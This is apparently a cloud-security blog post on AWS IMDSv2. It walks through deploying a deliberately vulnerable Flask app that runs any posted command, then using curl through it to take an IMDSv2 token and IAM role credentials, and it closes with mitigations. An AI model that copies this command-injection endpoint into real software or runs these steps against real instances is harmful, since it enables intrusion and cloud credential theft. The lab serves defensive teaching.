Introduction
Imagine you're sitting in a room full of cloud architects and penetration testers, discussing the latest advancements in cloud security. The topic of the day is AWS's transition from Instance Metadata Service version 1 (IMDSv1) to version 2 (IMDSv2). A lot of people in the room are relieved, believing that the move to IMDSv2 means they no longer need to worry about certain attacks, especially Server-Side Request Forgery (SSRF). You hear statements like, "With IMDSv2, we're safe from metadata theft."
While it's true that IMDSv2 introduces significant security improvements, including mitigations against SSRF attacks, it doesn't mean all risks have vanished. As a cloud security expert, you know that while one door may have closed, others can still be exploited if left unattended. The journey to securing an EC2 instance involves more than just relying on IMDSv2; it requires a comprehensive understanding of potential vulnerabilities and how to defend against them.
In this blog post, we'll dive into the mechanics of IMDSv2, explore how it strengthens security, and also demonstrate that vulnerabilities still exist. We'll walk through the steps to exploit an EC2 instance using IMDSv2 and show how deploying a vulnerable Python application can lead to a Remote Code Execution (RCE) attack.
This article is for informational and educational purposes only. The focus is to enable AWS administrators, developers, and security engineers to identify vulnerable setups, mitigate the shown vulnerabilities and make their cloud environments more secure.
What is IMDS?
The Instance Metadata Service (IMDS) is a crucial component of Amazon Web Services (AWS) that provides metadata about an EC2 instance. This service runs locally on the instance and can be accessed via HTTP requests to the special IP address 169.254.169.254
. The metadata includes a wide range of information, such as instance ID, AMI ID, instance type, security groups, and network information. It can also provide dynamic data like instance user data and IAM role credentials.
IMDS is used by applications running on EC2 instances to discover details about the instance they are running on. This is particularly useful for applications that need to know their own environment to function correctly. For example, applications can use IMDS to retrieve temporary AWS credentials for making API calls, which eliminates the need to hardcode sensitive information.
AWS introduced two versions of IMDS
- IMDSv1: The original version, which allows unrestricted access to metadata. While functional, it has been found vulnerable to certain types of attacks, especially Server-Side Request Forgery (SSRF). An attacker exploiting an SSRF vulnerability could potentially access the metadata service and retrieve sensitive information, such as IAM role credentials, leading to unauthorized access and actions within AWS.
- IMDSv2: This version enhances security by requiring session tokens for accessing metadata. IMDSv2 uses a token-based approach where the client must first request a session token and then use this token in subsequent metadata requests. This additional layer helps prevent unauthorized access from SSRF attacks, as attackers need to obtain a valid token before accessing the metadata.
Why Focus on IMDSv2?
IMDSv2 was designed to mitigate the vulnerabilities of IMDSv1, particularly against SSRF attacks. Here’s how IMDSv2 improves security:
- Session Tokens: To access metadata, clients must first request a token. This token must be included in all subsequent requests. This means that an attacker exploiting SSRF must first obtain a valid token, which is non-trivial.
- TTL (Time-to-Live) for Tokens: The tokens have a TTL, which limits their validity period. This reduces the risk of token misuse.
- Header Requirement: All metadata requests must include the session token in a specific HTTP header (
X-aws-ec2-metadata-token
). This header-based approach adds another layer of security by preventing unauthorized requests.
While IMDSv2 significantly enhances security, it is not a silver bullet. Other vulnerabilities, such as those related to application logic or misconfigurations, can still pose threats. Therefore, understanding IMDSv2 and its implementation is crucial.
Step-by-Step Guide to Hacking EC2 Instances Using IMDSv2
1. Setting Up the Environment
Before starting, ensure you have:
- An EC2 instance with IMDSv2 enabled.
- Proper IAM roles and permissions set up.
- Tools like curl or Postman for making HTTP requests.
2. Deploying a Vulnerable Application
Let's deploy a simple Python web application with a known vulnerability for demonstration purposes.
Step 1: Setting Up the EC2 Instance
- Launch an EC2 instance (e.g., Amazon Linux 2).
- SSH into the instance and install Python and Flask:
sudo yum update -y
sudo yum install python3 -y
sudo yum install python3-pip -y
pip3 install flask -y
Step 2: Deploy the Vulnerable Application
Create a file named app.py
with the following content:
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/exec', methods=['POST'])
def exec_command():
cmd = request.form['cmd']
return os.popen(cmd).read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
This application has a critical vulnerability: it directly executes commands sent via the cmd
parameter.
3. Run the Application
Start the Flask application: python3 app.py
4. Exploiting the Vulnerable Application
Step 1: Identify the Vulnerability
The /exec
endpoint allows for command injection via the cmd
parameter.
Step 2: Exploit the RCE Vulnerability
Use curl
to send a POST request to the /exec
endpoint with a payload to retrieve IMDSv2 data:
Obtain a session token to interact with IMDSv2: TOKEN=$(curl -X POST <EC2_PUBLIC_IP>:5000/exec -d "cmd=curl -X PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'")
This command requests a session token valid for 6 hours (21600 seconds). The endpoint of IMDSv2 is always http://169.254.169.254
. To retrieve the token directly from the command line you can use TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
[ec2-user ~] TOKEN=$(curl -X POST <EC2_PUBLIC_IP>:5000/exec -d "cmd=curl -X PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'")
AQAAAEXAMPLE==
Step 3: Accessing Metadata with the Token
Exploit the RCE to access instance metadata. To get specific data, such as IAM role credentials, use: curl -X POST <EC2_PUBLIC_IP>:5000/exec -d "cmd=curl -H 'X-aws-ec2-metadata-token: $TOKEN' http://169.254.169.254/latest/meta-data/iam/security-credentials/"
[ec2-user ~] curl -X POST <EC2_PUBLIC_IP>:5000/exec -d "cmd=curl -H 'X-aws-ec2-metadata-token: $TOKEN' http://169.254.169.254/latest/meta-data/iam/security-credentials/"
EC2ServiceRoleSSM
Attackers typically exploit this access to retrieve the AccessKeyId
and SecretAccessKey
, which they then use to call other AWS services, potentially gaining unauthorized control and access to sensitive resources.
[ec2-user ~] curl -X POST <EC2_PUBLIC_IP>:5000/exec -d "cmd=curl -H 'X-aws-ec2-metadata-token: $TOKEN' http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2ServiceRoleSSM"
{
"Code" : "Success",
"LastUpdated" : "2024-06-30T17:05:49Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token" : "TQijaZw==",
"Expiration" : "2024-06-30T23:40:21Z"
}
Protecting Against IMDSv2 Exploits
To mitigate risks, implement the following security measures:
- Configure IMDSv2 on Launch: When launching a new instance, configure it to require IMDSv2. This can be done through the AWS Management Console, AWS CLI, or an Infrastructure-as-Code (IaC) tool like AWS CloudFormation or Terraform.
- Monitor and Audit: Regularly monitor and audit instance metadata access.
- Sanitize User Inputs: Always validate and sanitize user inputs to prevent injection attacks, such as SQL and command injection.
Join our community of cloud security professionals. 🔐
Subscribe to our newsletterConclusion 🎓
In conclusion, while AWS's transition from IMDSv1 to IMDSv2 represents a significant step forward in securing instance metadata against specific threats like Server-Side Request Forgery (SSRF), it is not a solution for all security concerns. IMDSv2's token-based access provides robust protection, but vulnerabilities can still arise if comprehensive security practices are not implemented.
As demonstrated, attackers can still exploit other vulnerabilities, such as Remote Code Execution (RCE), to access sensitive metadata and credentials. This underscores the importance of a multi-layered security approach that includes enforcing IMDSv2, restricting metadata access, securing applications, monitoring and auditing metadata requests, implementing network segmentation, and educating your team on security best practices.
By understanding the mechanics of IMDSv2 you can significantly mitigate risks and enhance the security posture of your AWS environments. Proactive security practices are essential in staying ahead of potential threats and ensuring the integrity of your cloud infrastructure.
Member discussion